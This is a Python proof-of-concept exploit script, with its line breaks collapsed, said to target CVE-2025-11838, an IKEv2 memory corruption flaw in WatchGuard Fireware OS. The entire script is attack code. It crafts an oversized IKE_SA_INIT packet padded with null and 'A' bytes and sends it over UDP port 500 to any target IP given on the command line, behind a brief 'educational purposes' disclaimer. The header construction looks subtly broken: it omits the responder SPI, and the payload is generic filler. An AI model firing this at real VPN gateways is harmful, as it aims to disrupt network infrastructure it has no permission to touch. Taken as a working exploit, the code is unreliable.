CVE-2025-11838

#!/usr/bin/env python3 """ CVE-2025-11838 PoC - WatchGuard Fireware OS IKEv2 Memory Corruption Note: This is a proof-of-concept for educational and security testing purposes only. """ import socket import struct import random def craft_ikev2_packet(): """ Craft a malicious IKEv2 packet to trigger memory corruption in WatchGuard Fireware OS IKEv2 implementation """ # IKEv2 Header # SPI (8 bytes) + Next Payload (1 byte) + Version (1 byte) + # Exchange Type (1 byte) + Flags (1 byte) + Message ID (4 bytes) + # Length (4 bytes) initiator_spi = bytes([random.randint(0, 255) for _ in range(8)]) next_payload = 0x21 # Security Association version = 0x20 # IKEv2 version 2.0 exchange_type = 0x02 # IKE_SA_INIT flags = 0x08 # Initiator flag message_id = bytes([0x00, 0x00, 0x00, 0x00]) # Malformed payload to trigger memory corruption malformed_payload = b'\x00' * 1000 + b'\x41' * 500 header = initiator_spi + bytes([next_payload, version, exchange_type, flags]) + message_id # Calculate length length = len(header) + len(malformed_payload) + 4 length_bytes = struct.pack('>I', length) return header + length_bytes + malformed_payload def send_exploit(target_ip, target_port=500): """ Send the malicious IKEv2 packet to target """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) packet = craft_ikev2_packet() try: print(f"[*] Sending malicious IKEv2 packet to {target_ip}:{target_port}") sock.sendto(packet, (target_ip, target_port)) print(f"[+] Packet sent successfully") print(f"[*] Packet size: {len(packet)} bytes") except Exception as e: print(f"[-] Error sending packet: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python3 cve_2025_11838_poc.py <target_ip>") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 500 send_exploit(target, port)

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